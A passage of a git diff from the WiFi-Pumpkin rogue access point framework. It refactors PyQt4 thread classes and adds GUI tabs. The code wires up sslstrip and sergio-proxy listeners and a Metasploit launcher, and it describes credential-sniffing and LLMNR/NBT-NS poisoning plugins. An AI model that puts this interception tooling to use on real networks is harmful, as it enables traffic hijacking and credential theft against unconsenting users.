+198,19 @@ def get_options_hostapd(self,option): class frm_Settings(QDialog): + instances =[] def __init__(self, parent = None): super(frm_Settings, self).__init__(parent) - self.setWindowTitle('WiFi-Pompkin - Settings') + self.__class__.instances.append(weakref.proxy(self)) + self.setWindowTitle('WiFi-Pumpkin - Settings') self.Settings = SettingsINI(C.CONFIG_INI) self.loadtheme(self.get_theme_qss()) self.setGeometry(0, 0, 420, 440) self.center() self.Qui() + @classmethod + def getInstance(cls): + return cls.instances[0] def loadtheme(self,theme): ''' load theme widgets ''' diff --git a/core/utility/threads.py b/core/utility/threads.py index ee5b42d..cd628c2 100644 --- a/core/utility/threads.py +++ b/core/utility/threads.py @@ -9,6 +9,7 @@ from twisted.web import http from twisted.internet import reactor from twisted.internet.defer import DebugInfo +from twisted.internet.endpoints import TCP4ServerEndpoint del DebugInfo.__del__ from core.utils import setup_logger,Refactor from subprocess import (Popen,PIPE,STDOUT) @@ -16,13 +17,10 @@ from PyQt4.QtGui import QMessageBox from plugins.external.sergio_proxy.plugins import * from multiprocessing import Process,Manager +from core.servers.proxy.http.controller.handler import MasterHandler +from mitmproxy import proxy,flow,options +from mitmproxy.proxy.server import ProxyServer import core.utility.constants as C -try: - from core.servers.proxy.http.controller.handler import MasterHandler - from mitmproxy import proxy,flow,options - from mitmproxy.proxy.server import ProxyServer -except Exception: - pass """ Description: @@ -45,6 +43,23 @@ along with this program. If not, see """ +class ThreadBase(QThread): + def __init__(self,cmd, session =None): + super(ThreadBase,self).__init__() + self.args = cmd + self.session = session + self.process = None + def run(self): + print self.getNameThread + self.startup() + def startup(self): + pass + def stop(self): + if self.process is not None: + self.process.terminate() + @property + def getNameThread(self): + return '[New Thread {} ({})]'.format(self.currentThreadId(), self.objectName()) class ProcessThreadScanner(threading.Thread): ''' thread for run airodump-ng backgroung and get data''' @@ -59,17 +74,13 @@ def stop(self): if self.process is not None: self.process.terminate() -class ThreadPopen(QThread): +class ThreadPopen(ThreadBase): def __init__(self,cmd): - QThread.__init__(self) - self.cmd = cmd - self.process = None - + super(ThreadPopen,self).__init__(cmd) + @property def getNameThread(self): - return '[New Thread {} ({})]'.format(self.currentThreadId(),self.objectName()) - - def run(self): - print '[New Thread {} ({})]'.format(self.currentThreadId(),self.objectName()) + return '[New DHCP Thread {} ({})]'.format(self.process.pid,self.objectName()) + def startup(self): self.process = Popen(self.cmd,stdout=PIPE,stderr=STDOUT,close_fds=True) for line in iter(self.process.stdout.readline, b''): self.emit(SIGNAL('Activated( QString )'),line.rstrip()) @@ -80,22 +91,17 @@ def stop(self): self.process.terminate() self.process = None -class ThRunDhcp(QThread): +class ThRunDhcp(ThreadBase): ''' thread: run DHCP on background fuctions''' sendRequest = pyqtSignal(object) - def __init__(self,args,session): - QThread.__init__(self) - self.args = args - self.session = session - self.process = None - + def __init__(self,cmd,session): + super(ThRunDhcp,self).__init__(cmd,session) + @property def getNameThread(self): - return '[New Thread {} ({})]'.format(self.currentThreadId(),self.objectName()) - - def run(self): - self.process = Popen(self.args, + return '[New DHCP Thread {} ({})]'.format(self.process.pid,self.objectName()) + def startup(self): + self.process = Popen(self.cmd, stdout=PIPE,stderr=STDOUT,preexec_fn=setsid) - print '[New Thread {} ({})]'.format(self.process.pid,self.objectName()) setup_logger('dhcp', C.LOG_DHCP,self.session) loggerDhcp = logging.getLogger('dhcp') loggerDhcp.info('---[ Start DHCP '+asctime()+']---') @@ -176,9 +182,8 @@ def stop(self): class ProcessThread(QObject): _ProcssOutput = pyqtSignal(object) - def __init__(self,cmd ,directory_exec=None): + def __init__(self,cmd,): QObject.__init__(self) - self.directory_exec = directory_exec self.cmd = cmd def getNameThread(self): @@ -192,8 +197,6 @@ def readProcessOutput(self): def start(self): self.procThread = QProcess(self) self.procThread.setProcessChannelMode(QProcess.MergedChannels) - if self.directory_exec: - self.procThread.setWorkingDirectory(self.directory_exec) QObject.connect(self.procThread, SIGNAL('readyReadStandardOutput()'), self, SLOT('readProcessOutput()')) self.procThread.start(self.cmd.keys()[0],self.cmd[self.cmd.keys()[0]]) print '[New Thread {} ({})]'.format(self.procThread.pid(),self.objectName()) @@ -256,10 +259,15 @@ class ThreadReactor(QThread): '''Thread: run reactor twisted on brackground''' def __init__(self,parent=None): super(ThreadReactor, self).__init__(parent) + global reactor def run(self): - reactor.run(installSignalHandlers=False) + if not reactor.running: + reactor.run(installSignalHandlers=False) def stop(self): reactor.callFromThread(reactor.stop) + @property + def isReactorRunning(self): + return reactor.running class ThreadPumpkinProxy(QObject): '''Thread: run Pumpkin-Proxy mitmproxy on brackground''' @@ -285,12 +293,14 @@ def stop(self): class Thread_sslstrip(QThread): '''Thread: run sslstrip on brackground''' + logging = pyqtSignal(object) def __init__(self,port,plugins={},data= {},session=None): QThread.__init__(self) self.port = port self.plugins = plugins self.loaderPlugins = data self.session = session + global reactor def getNameThread(self): return '[New Thread {} ({})]'.format(self.currentThreadId(),self.objectName()) @@ -311,15 +321,19 @@ def run(self): CookieCleaner.getInstance().setEnabled(killSessions) strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy - self.connector = reactor.listenTCP(int(listenPort), strippingFactory) + strippingFactory.protocol.requestFactory.logging = self.logging + #self.connector = reactor.listenTCP(int(listenPort), strippingFactory) + self.connector = TCP4ServerEndpoint(reactor, int(listenPort)) + self.connector.listen(strippingFactory) def stop(self): print 'Thread::[{}] successfully stopped.'.format(self.objectName()) self.connector.loseConnection() - self.connector.connectionLost(reason=None) + #self.connector.connectionLost(reason=None) class Thread_sergioProxy(QThread): '''Thread: run sergio-proxy on brackground''' + logging = pyqtSignal(object) def __init__(self,port,plugins={},data= {},session=None): QThread.__init__(self) self.port = port @@ -429,7 +443,7 @@ def run(self): from plugins.external.sergio_proxy import launch_msf launch_msf(args.msf_path,args.msf_rc,args.msf_user) - from plugins.external.sergio_proxy.sslstrip.StrippingProxy import StrippingProxy + from plugins.external.sslstrip.StrippingProxy import StrippingProxy from plugins.external.sergio_proxy.sslstrip.URLMonitor import URLMonitor from plugins.external.sergio_proxy.sslstrip.CookieCleaner import CookieCleaner @@ -437,10 +451,13 @@ def run(self): CookieCleaner.getInstance().setEnabled(killSessions) strippingFactory = http.HTTPFactory(timeout=10) strippingFactory.protocol = StrippingProxy + strippingFactory.protocol.requestFactory.logging = self.logging print 'sslstrip {} + sergio-proxy v{} online'.format(sslstrip_version,sergio_version) - self.connectorSP = reactor.listenTCP(int(listenPort), strippingFactory) + #self.connectorSP = reactor.listenTCP(int(listenPort), strippingFactory) + self.connectorSP = TCP4ServerEndpoint(reactor, int(listenPort)) + self.connectorSP.listen(strippingFactory) def stop(self): print 'Thread::[{}] successfully stopped.'.format(self.objectName()) self.connectorSP.loseConnection() - self.connectorSP.connectionLost(reason=None) + #self.connectorSP.connectionLost(reason=None) diff --git a/core/utils.py b/core/utils.py index 680f2bc..24518d5 100644 --- a/core/utils.py +++ b/core/utils.py @@ -11,10 +11,7 @@ from PyQt4 import QtGui import logging import signal -try: - import configparser -except: - import ConfigParser as configparser +import configparser import core.utility.constants as C from shlex import split from glob import glob @@ -390,4 +387,4 @@ def del_item_folder(directorys): files = glob(folder) for file in files: if path.isfile(file) and not '.py' in file: - remove(file) + remove(file) \ No newline at end of file diff --git a/core/widgets/customiseds.py b/core/widgets/customiseds.py index 4b518f2..8b1bd90 100644 --- a/core/widgets/customiseds.py +++ b/core/widgets/customiseds.py @@ -1,5 +1,7 @@ from PyQt4 import QtGui, QtCore from core.utils import Refactor +from core.utility.collection import SettingsINI +import core.utility.constants as C """ Description: @@ -42,16 +44,29 @@ def __init__(self): QtGui.QTableWidget.__init__(self) self.column,self.row = 0,0 self.max_column = 4 + self.loadtheme(SettingsINI(C.CONFIG_INI).get_setting('settings', 'themes')) self.items_widgets = {} self.APclients = {} self.setColumnCount(self.max_column) + def loadtheme(self,theme): + ''' load Theme from file .qss ''' + sshFile=("core/%s.qss"%(theme)) + with open(sshFile,"r") as fh: + self.setStyleSheet(fh.read()) + + def clearInfoClients(self): + self.APclients = {} + self.column, self.row = 0, 0 + self.clearContents() + def addNextWidget(self, agent={}): ''' auto add item in table ''' self.items_widgets[agent.keys()[0]] = {} self.APclients[agent.keys()[0]] = agent[agent.keys()[0]] for key in agent.keys(): - for client in agent[key].keys(): + #for client in agent[key].keys(): + for client in agent[key]: item = QtGui.QTableWidgetItem(agent[key][client]) item.setTextAlignment(QtCore.Qt.AlignVCenter | QtCore.Qt.AlignCenter) self.setItem(self.row, self.column, item) @@ -82,4 +97,4 @@ def inc_auto(self): def reset_inc(self): self.column = 0 - self.row = 0 \ No newline at end of file + self.row = 0 diff --git a/core/widgets/default/ActivityMonitor.py b/core/widgets/default/ActivityMonitor.py new file mode 100644 index 0000000..eacc5dd --- /dev/null +++ b/core/widgets/default/ActivityMonitor.py @@ -0,0 +1,16 @@ +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from PyQt4.Qt import * +from core.widgets.default.uimodel import * + + + +class ActivityMonitor(TabsWidget): + Name = "Monitor Activity" + ID = "ActivityMonitor" + Icon = "icons/activity-monitor.png" + __subitem = False + def __init__(self,parent= None,FSettings=None): + super(ActivityMonitor,self).__init__(parent,FSettings) + self.Dock = QtGui.QMainWindow() + self.scroll.setWidget(self.Dock) diff --git a/core/widgets/default/Home.py b/core/widgets/default/Home.py new file mode 100644 index 0000000..5de6a13 --- /dev/null +++ b/core/widgets/default/Home.py @@ -0,0 +1,19 @@ +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from PyQt4.Qt import * +from core.widgets.default.uimodel import * + + + +class Home(TabsWidget): + Name = "Home" + ID = "Home" + Icon = "icons/home.png" + __subitem = False + def __init__(self,parent= None,FSettings=None): + super(Home,self).__init__(parent,FSettings) + self.__homeitem = [hi(parent) for hi in HomeDisplay.__subclasses__()] + + for wid in self.__homeitem: + self.mainlayout.addWidget(wid) + setattr(self,wid.ID,wid) diff --git a/core/widgets/default/ImageSniffer.py b/core/widgets/default/ImageSniffer.py new file mode 100644 index 0000000..16c2c17 --- /dev/null +++ b/core/widgets/default/ImageSniffer.py @@ -0,0 +1,56 @@ +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from PyQt4.Qt import * +from core.widgets.default.uimodel import * + + + +class ImageSniffer(TabsWidget): + Name = "Sniffer Image" + ID = "ImageSniffer" + Icon = "icons/image.png" + __subitem = False + sendError = QtCore.pyqtSignal(str) + def __init__(self,parent= None,FSettings=None): + super(ImageSniffer,self).__init__(parent,FSettings) + self.imagesList = [] + self.THUMBNAIL_SIZE = 146 + self.SPACING = 8 + self.IMAGES_PER_ROW = 4 + self.TableImage = QtGui.QTableWidget() + self.TableImage.setIconSize(QtCore.QSize(146, 146)) + self.TableImage.setColumnCount(self.IMAGES_PER_ROW) + self.TableImage.setGridStyle(QtCore.Qt.NoPen) + + self.TableImage.verticalHeader().setDefaultSectionSize(self.THUMBNAIL_SIZE + self.SPACING) + self.TableImage.verticalHeader().hide() + self.TableImage.horizontalHeader().setDefaultSectionSize(self.THUMBNAIL_SIZE + self.SPACING) + self.TableImage.horizontalHeader().hide() + + self.TableImage.setMinimumWidth((self.THUMBNAIL_SIZE + self.SPACING) * self.IMAGES_PER_ROW + (self.SPACING * 2)) + self.imageListPath = OrderedDict([('Path', [])]) + self.scroll.setWidget(self.TableImage) + + def SendImageTableWidgets(self, image): + self.imageListPath['Path'].append(image) + rowCount = len(self.imageListPath['Path']) // self.IMAGES_PER_ROW + if len(self.imageListPath['Path']) % self.IMAGES_PER_ROW: rowCount += 1 + self.TableImage.setRowCount(rowCount) + row = -1 + for i, picture in enumerate(self.imageListPath['Path']): + col = i % self.IMAGES_PER_ROW + if not col: row += 1 + self.addPicture(row, col, picture) + + def addPicture(self, row, col, picturePath): + item = QtGui.QTableWidgetItem() + p = QtGui.QPixmap(picturePath) + if not p.isNull(): + if p.height() > p.width(): + p = p.scaledToWidth(self.THUMBNAIL_SIZE) + else: + p = p.scaledToHeight(self.THUMBNAIL_SIZE) + p = p.copy(0, 0, self.THUMBNAIL_SIZE, self.THUMBNAIL_SIZE) + item.setIcon(QtGui.QIcon(p)) + self.TableImage.setItem(row, col, item) + self.TableImage.scrollToBottom() diff --git a/core/widgets/default/Plugins.py b/core/widgets/default/Plugins.py new file mode 100644 index 0000000..48d0193 --- /dev/null +++ b/core/widgets/default/Plugins.py @@ -0,0 +1,26 @@ +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from PyQt4.Qt import * +from re import search +import modules as GUIs +from core.utils import Refactor +from collections import OrderedDict +from core.widgets.pluginssettings import BDFProxySettings,ResponderSettings +from core.widgets.default.uimodel import * + + + +class Plugins(TabsWidget): + Name = "Plugins" + ID = "Plugins" + Icon = "icons/plugins-new.png" + __subitem = False + sendSingal_disable = pyqtSignal(object) + def __init__(self,parent,FSettings=None): + super(Plugins,self).__init__(parent,FSettings) + self.__plugins = [plug(parent) for plug in PluginsUI.__subclasses__()] + for wid in self.__plugins: + self.mainlayout.addWidget(wid) + setattr(self,wid.Name,wid) + + diff --git a/core/widgets/default/SessionConfig.py b/core/widgets/default/SessionConfig.py new file mode 100644 index 0000000..0e49c46 --- /dev/null +++ b/core/widgets/default/SessionConfig.py @@ -0,0 +1,45 @@ +from core.config.globalimport import * +from core.widgets.default.uimodel import * +import weakref +from core.widgets.default.SettingsItem import * + +class SessionConfig(TabsWidget): + ConfigRoot="Settings" + Name = "Settings" + ID = "SessionConfig" + Icon = "icons/settings-AP.png" + __subitem = False + tablayout={} + tabwidget={} + instances=[] + def __init__(self,parent=None,FSettings=None): + super(SessionConfig,self).__init__(parent,FSettings) + self.__class__.instances.append(weakref.proxy(self)) + self.FSettings = SuperSettings.getInstance() + self.title = self.__class__.__name__ + self.tabcontainer = QtGui.QTabWidget() + self.mainlayout.addWidget(self.tabcontainer) + settingsItem = [setitem(self.parent ) for setitem in CoreSettings.__subclasses__()] + self.settingsItem = {} + for cat in sorted(settingsItem): + self.tablayout[cat.Category] = QtGui.QVBoxLayout() + self.tabwidget[cat.Category] = QtGui.QWidget() + self.tabwidget[cat.Category].setLayout(self.tablayout[cat.Category]) + for k,v in self.tabwidget.items(): + self.tabcontainer.addTab(v,k) + for mod in sorted(settingsItem): + self.settingsItem[mod.title]=mod + self.tablayout[mod.Category].addWidget(mod) + #self.mainlayout.addWidget(mod) + #Hack to add all the modules into class + setattr(self.__class__,mod.ID,mod) + + @property + def isSubitem(self): + return self.__subitem + + @classmethod + def getInstance(cls): + return cls.instances[0] + + diff --git a/core/widgets/default/SettingsItem/__init__.py b/core/widgets/default/SettingsItem/__init__.py new file mode 100644 index 0000000..9f6a139 --- /dev/null +++ b/core/widgets/default/SettingsItem/__init__.py @@ -0,0 +1,3 @@ +import os +import glob +__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] \ No newline at end of file diff --git a/core/widgets/default/StationMonitor.py b/core/widgets/default/StationMonitor.py new file mode 100644 index 0000000..fc15f05 --- /dev/null +++ b/core/widgets/default/StationMonitor.py @@ -0,0 +1,62 @@ +from core.config.globalimport import * +from core.widgets.default.uimodel import * +from datetime import datetime + +class StationMonitor(TabsWidget): + Name = "Station Monitor" + ID = "StationMonitor" + Icon = "icons/stations.png" + __subitem = False + def __init__(self,parent= None,FSettings=None): + super(StationMonitor,self).__init__(parent,FSettings) + self.FSettings = SuperSettings.getInstance() + self.Home = QtGui.QVBoxLayout() + self.widget = QtGui.QWidget() + self.layout = QtGui.QVBoxLayout(self.widget) + + # self.GroupMonitor = QtGui.QGroupBox() + self.MonitorTreeView = QtGui.QTreeView() + self.MonitorTreeView.setSelectionBehavior(QtGui.QAbstractItemView.SelectRows) + self.model = QtGui.QStandardItemModel() + self.model.setHorizontalHeaderLabels(['Devices', 'Informations']) + self.MonitorTreeView.setModel(self.model) + self.MonitorTreeView.setUniformRowHeights(True) + self.MonitorTreeView.setColumnWidth(0, 130) + + # self.GroupMonitor.setTitle('Station Monitor AP:') + # self.GroupMonitor.setFixedHeight(400) + # self.MonitorLayout = QtGui.QVBoxLayout() + # self.MonitorLayout.addWidget(self.MonitorTreeView) + # self.GroupMonitor.setLayout(self.MonitorLayout) + self.scroll.setWidget(self.MonitorTreeView) + # #self.mainlayout.addWidget(self.GroupMonitor) + + def addRequests(self, macddress, user, status): + if status: + ParentMaster = QtGui.QStandardItem('Connected:: {} at {}'.format(macddress, + datetime.now().strftime("%H:%M"))) + ParentMaster.setIcon(QtGui.QIcon('icons/connected.png')) + ParentMaster.setSizeHint(QtCore.QSize(30, 30)) + info1 = QtGui.QStandardItem('{}'.format(user['device'])) + info2 = QtGui.QStandardItem('{}'.format(user['IP'])) + info3 = QtGui.QStandardItem('{}'.format(datetime.now().strftime("%Y-%m-%d %H:%M"))) + ParentMaster.appendRow([QtGui.QStandardItem('Device::'), info1]) + ParentMaster.appendRow([QtGui.QStandardItem('IPAddr::'), info2]) + ParentMaster.appendRow([QtGui.QStandardItem('Current date::'), info3]) + self.model.appendRow(ParentMaster) + return self.MonitorTreeView.setFirstColumnSpanned(ParentMaster.row(), + self.MonitorTreeView.rootIndex(), True) + + ParentMaster = QtGui.QStandardItem('Disconnected:: {} at {}'.format(macddress, + datetime.now().strftime("%H:%M"))) + ParentMaster.setIcon(QtGui.QIcon('icons/disconnected.png')) + ParentMaster.setSizeHint(QtCore.QSize(30, 30)) + info1 = QtGui.QStandardItem('{}'.format(user['device'])) + info2 = QtGui.QStandardItem('{}'.format(user['IP'])) + info3 = QtGui.QStandardItem('{}'.format(datetime.now().strftime("%Y-%m-%d %H:%M"))) + ParentMaster.appendRow([QtGui.QStandardItem('Device::'), info1]) + ParentMaster.appendRow([QtGui.QStandardItem('IPAddr::'), info2]) + ParentMaster.appendRow([QtGui.QStandardItem('Current date::'), info3]) + self.model.appendRow(ParentMaster) + self.MonitorTreeView.setFirstColumnSpanned(ParentMaster.row(), + self.MonitorTreeView.rootIndex(), True) diff --git a/core/widgets/default/__init__.py b/core/widgets/default/__init__.py new file mode 100644 index 0000000..9f6a139 --- /dev/null +++ b/core/widgets/default/__init__.py @@ -0,0 +1,3 @@ +import os +import glob +__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] \ No newline at end of file diff --git a/core/widgets/default/uimodel.py b/core/widgets/default/uimodel.py new file mode 100644 index 0000000..2a2f968 --- /dev/null +++ b/core/widgets/default/uimodel.py @@ -0,0 +1,142 @@ +from core.config.globalimport import * +import weakref + + +class OptionDialog(QtGui.QDialog): + def __init__(self,parent=None): + super(OptionDialog,self).__init__(parent) + self.parent = parent + self.setWindowTitle("{} Options".format(self.parent.ID)) + self.setMinimumSize(QtCore.QSize(300,100)) + + self.layout = QtGui.QFormLayout() + groupbox = QtGui.QGroupBox() + groupbox.setTitle("Custom Options") + self.content = QtGui.QFormLayout() + groupbox.setLayout(self.content) + self.btnOK = QtGui.QPushButton("OK") + self.btnOK.clicked.connect(self.onOK) + self.btnCancel = QtGui.QPushButton("Cancel") + self.btnCancel.clicked.connect(self.onCancel) + self.layout.addRow(groupbox) + self.layout.addRow(self.btnOK,self.btnCancel) + self.setLayout(self.layout) + def onOK(self): + pass + def onCancel(self): + self.close() +class TabsWidget(QtGui.QWidget): + Name="Generic" + ID = "Generic" + Icon = "" + __subitem = False + sendMensage = QtCore.pyqtSignal(str) + checkDockArea = QtCore.pyqtSignal(dict) + def __init__(self,parent=0,FSettings=None): + super(TabsWidget,self).__init__(parent) + self.setObjectName(self.Name) + #self.setTitle("{}".format(self.Name)) + self.FSettings = SuperSettings.getInstance() + self.parent = parent + + self.tabinterface = QtGui.QListWidgetItem() + self.tabinterface.setText(self.Name) + self.tabinterface.setSizeHint(QtCore.QSize(30, 30)) + if self.Icon is not None: + self.tabinterface.setIcon(QtGui.QIcon(self.Icon)) + self.mainlayout = QtGui.QFormLayout() + self.scrollwidget = QtGui.QWidget() + self.scroll = QtGui.QScrollArea() + self.scrollwidget.setLayout(self.mainlayout) + self.scroll.setWidgetResizable(True) + self.scrollwidget.setSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) + self.scroll.setWidget(self.scrollwidget) + + + self.layout = QtGui.QVBoxLayout() + self.layout.addWidget(self.scroll) + self.setLayout(self.layout) + + @property + def isSubitem(self): + return self.__subitem + + +class CoreSettings(QtGui.QGroupBox): + + Name = "General" + ID = "General" + ConfigRoot = "General" + Category="General" + Icon=None + __subitem=False + conf={} + + + def __init__(self,parent=0,FSettings=None): + super(CoreSettings,self).__init__(parent) + self.setObjectName(self.Name) + self.setTitle("{} Settings".format(self.Name)) + self.setCheckable(True) + self.parent = parent + self.FSettings = SuperSettings.getInstance() + self.layout = QtGui.QVBoxLayout() + self.setLayout(self.layout) + def deleteObject(self,obj): + ''' reclaim memory ''' + del obj + + @property + def isSubitem(self): + return self.__subitem + def osWalkCallback(self,arg,directory,files): + pass + + + +class HomeDisplay(QtGui.QWidget): + Name = "HomeDisplay" + ID = "Generic" + Icon=None + __subitem=False + def __init__(self,parent=0,FSettings=None): + super(HomeDisplay,self).__init__(parent) + self.setObjectName(self.Name) + self.FSettings = SuperSettings.getInstance() + self.parent = parent + self.layout = QtGui.QVBoxLayout(self) + self.setSizePolicy(QtGui.QSizePolicy.Preferred, QtGui.QSizePolicy.Preferred) + self.setLayout(self.layout) + + @property + def isSubitem(self): + return self.__subitem + +class PluginsUI(QtGui.QGroupBox): + Name = "Default" + Caption = "Default" + ID = "Generic" + def __init__(self,parent=0): + super(PluginsUI,self).__init__(parent) + self.parent = parent + self.FSettings = SuperSettings.getInstance() + self.sessionconfig ={} + self.setTitle(self.Caption) + self.table = QtGui.QTableWidget() + self.mainLayout = QtGui.QVBoxLayout() + self.scrollwidget = QtGui.QWidget() + self.scrollwidget.setLayout(self.mainLayout) + self.scroll = QtGui.QScrollArea() + self.scroll.setWidgetResizable(True) + self.scroll.setWidget(self.scrollwidget) + + self.mainLayout.addWidget(self.table) + self.layout_table = QtGui.QHBoxLayout() + self.layout_table.addWidget(self.scroll) + self.setLayout(self.layout_table) + + @property + def config(self): + return self.sessionconfigcd + def deleteObject(self,obj): + del obj diff --git a/core/widgets/docks/activitymonitor/__init__.py b/core/widgets/docks/activitymonitor/__init__.py new file mode 100644 index 0000000..9f6a139 --- /dev/null +++ b/core/widgets/docks/activitymonitor/__init__.py @@ -0,0 +1,3 @@ +import os +import glob +__all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] \ No newline at end of file diff --git a/core/widgets/docks/activitymonitor/activitymonitor.py b/core/widgets/docks/activitymonitor/activitymonitor.py new file mode 100644 index 0000000..bbf6f50 --- /dev/null +++ b/core/widgets/docks/activitymonitor/activitymonitor.py @@ -0,0 +1,16 @@ +from PyQt4.QtGui import * +from PyQt4.QtCore import * +from PyQt4.Qt import * + +from core.widgets.docks.dock import DockableWidget +from core.widgets.default.uimodel import CoreSettings + +class ActivityMonitor(DockableWidget): + id = "Default" + title="Default" + def __init__(self,parent = None, title="Default",info={}): + super(ActivityMonitor,self).__init__(parent,title) + self.setObjectName(title) + self.settings = ActivityMonitorSettings(self.parent) + self.maindockwidget = QGroupBox() + self.maindockwidget.setLayout(self.mainlayout) \ No newline at end of file diff --git a/core/widgets/docks/dock.py b/core/widgets/docks/dock.py new file mode 100644 index 0000000..bfecadd --- /dev/null +++ b/core/widgets/docks/dock.py @@ -0,0 +1,43 @@ +from PyQt4 import QtGui,QtCore,Qt +from functools import partial + +class DockableWidget(QtGui.QDockWidget): + title = 'Default' + id = 'default' + Icon = "icons/tcpproxy.png" + addDock = QtCore.pyqtSignal(object) + def __init__(self,parent=0,t='Default',info={}): + super(DockableWidget,self).__init__(t) + self.parent = parent + self.title = t + self.logger = info + self.startThread = False + self.processThread = None + self.setWindowIcon(QtGui.QIcon(self.Icon)) + self.setSizePolicy(QtGui.QSizePolicy.Expanding, QtGui.QSizePolicy.Expanding) + self.setAllowedAreas(QtCore.Qt.AllDockWidgetAreas) + self.setFeatures(QtGui.QDockWidget.DockWidgetMovable | QtGui.QDockWidget.DockWidgetFloatable) + self.controlui = QtGui.QCheckBox(self.title) + self.controlui.clicked.connect(partial(self.controlui_toggled)) + self.mainlayout = QtGui.QGridLayout() + self.maindockwidget = QtGui.QListWidget() + self.setWidget(self.maindockwidget) + def runThread(self): + self.startThread=True + def controlui_toggled(self): + if self.controlui.isChecked(): + self.addDock.emit(True) + else: + self.addDock.emit(False) + def writeModeData(self,data): + item = QtGui.QListWidgetItem() + item.setText(data) + item.setSizeHint(Qt.QSize(27, 27)) + #item.setFlags(Qt.ItemIsEnabled | Qt.ItemIsEditable | Qt.ItemIsSelectable) + self.maindockwidget.insertItem(self.maindockwidget.count() + 1, item) + self.maindockwidget.scrollToBottom() + def clear(self): + pass + def stopProcess(self): + if self.processThread != None: + self.processThread.stop() diff --git a/core/widgets/docks/dockmonitor.py b/core/widgets/docks/dockmonitor.py index d2a9c50..486e246 100644 --- a/core/widgets/docks/dockmonitor.py +++ b/core/widgets/docks/dockmonitor.py @@ -1,8 +1,4 @@ -load_plugins = True -try: - from plugins.extension import * -except ImportError: - load_plugins = False +from plugins.extension import * from collections import OrderedDict from PyQt4.QtGui import ( QListWidget,QTableWidget,QSizePolicy, @@ -219,10 +215,9 @@ def __init__(self, parent=None,info={}): def get_AllPluginName(self): ''' get all name plugins PumpkinProxy''' - if load_plugins: - plugin_classes = plugin.PluginTemplate.__subclasses__() - for p in plugin_classes: - self.pluginsName.append(p().Name) + plugin_classes = plugin.PluginTemplate.__subclasses__() + for p in plugin_classes: + self.pluginsName.append(p().Name) def writeModeData(self,data): ''' get data output and add on QtableWidgets''' diff --git a/core/widgets/pluginssettings.py b/core/widgets/pluginssettings.py index c5ff5dd..bcb6867 100644 --- a/core/widgets/pluginssettings.py +++ b/core/widgets/pluginssettings.py @@ -133,7 +133,7 @@ def GUI(self): class ResponderSettings(PumpkinModule): def __init__(self,parent=None): super(ResponderSettings, self).__init__(parent) - self.setWindowTitle('Responder Plugin settings') + self.setWindowTitle('Firelamb Plugin settings') self.setGeometry(0,0,480, 500) self.main = QtGui.QVBoxLayout() self.THeaders = {'Config':[],'Value':[] } @@ -191,7 +191,7 @@ def checkConfigKeysResponder(self,saveObjct=False,count=False): def saveConfigObject(self): self.checkConfigKeysResponder(saveObjct=True) - QtGui.QMessageBox.information(self,'Responder settings','All settings in {} has been saved ' + QtGui.QMessageBox.information(self,'Firelamb settings','All settings in {} has been saved ' 'with success.'.format(str(self.configure.Settings.get_setting('plugins','responder_config')))) self.close() diff --git a/core/widgets/popupmodels.py b/core/widgets/popupmodels.py index 08bc528..7cd43e8 100644 --- a/core/widgets/popupmodels.py +++ b/core/widgets/popupmodels.py @@ -34,18 +34,23 @@ def __init__(self,FSettings,main,parent=None): self.FSettings = FSettings self.layout = QtGui.QVBoxLayout() self.layoutform = QtGui.QFormLayout() - self.layoutproxy = QtGui.QVBoxLayout() self.GroupPlugins = QtGui.QGroupBox() + self.GroupPlugins.setTitle('Activity Monitor:') + + self.layoutproxy = QtGui.QVBoxLayout() self.GroupPluginsProxy = QtGui.QGroupBox() - self.GroupPlugins.setTitle('plugins:') self.GroupPluginsProxy.setTitle('Enable proxy server:') self.GroupPluginsProxy.setCheckable(True) - self.GroupPluginsProxy.clicked.connect(self.get_disable_proxyserver) + #self.GroupPluginsProxy.toggled.connect(self.get_disable_proxyserver) self.GroupPluginsProxy.setLayout(self.layoutproxy) self.GroupPlugins.setLayout(self.layoutform) + self.proxyGroup = QtGui.QButtonGroup() + + + self.check_netcreds = QtGui.QCheckBox('net-creds ') - self.check_responder = QtGui.QCheckBox('Responder') + self.check_responder = QtGui.QCheckBox('Firelamb') self.check_tcpproxy = QtGui.QCheckBox('TCP-Proxy') self.check_pumpkinProxy = QtGui.QRadioButton('Pumpkin-Proxy') self.check_dns2proy = QtGui.QRadioButton('SSLstrip+|Dns2proxy') @@ -57,8 +62,21 @@ def __init__(self,FSettings,main,parent=None): self.btnResponderSettings = QtGui.QPushButton('Change') self.btnBDFSettings.setIcon(QtGui.QIcon('icons/config.png')) self.btnResponderSettings.setIcon(QtGui.QIcon('icons/config.png')) - self.btnBDFSettings.clicked.connect(self.ConfigOBJBDFproxy) - self.btnResponderSettings.clicked.connect(self.ConfigOBJBResponder) + + + + self.proxyGroup.addButton(self.check_pumpkinProxy) + self.proxyGroup.addButton(self.check_dns2proy) + self.proxyGroup.addButton(self.check_sergioProxy) + + self.proxyGroup.addButton(self.check_bdfproxy) + + self.check_tcpproxy.clicked.connect(self.checkBoxTCPproxy) + self.check_pumpkinProxy.clicked.connect(self.checkGeneralOptions) + self.check_dns2proy.clicked.connect(self.checkGeneralOptions) + self.check_sergioProxy.clicked.connect(self.checkGeneralOptions) + self.check_bdfproxy.clicked.connect(self.checkGeneralOptions) + self.check_noproxy.clicked.connect(self.checkGeneralOptions) # set text description plugins self.check_dns2proy.setObjectName('This tools offer a different features ' @@ -75,99 +93,15 @@ def __init__(self,FSettings,main,parent=None): ' coded by: Dan McInerney') self.check_tcpproxy.setObjectName('sniff for isntercept network traffic on UDP,TCP protocol.' ' get password,hash,image,etc...') - self.check_responder.setObjectName('Responder an LLMNR, NBT-NS and MDNS poisoner. ' + self.check_responder.setObjectName('Firelamb an LLMNR, NBT-NS and MDNS poisoner. ' 'By default, the tool will only answer to File Server Service request, which is for SMB.') - # table 1 for add plugins with QradioBtton - self.THeadersPluginsProxy = OrderedDict( - [ ('Plugins',[self.check_pumpkinProxy,self.check_dns2proy,self.check_sergioProxy,self.check_bdfproxy]), - 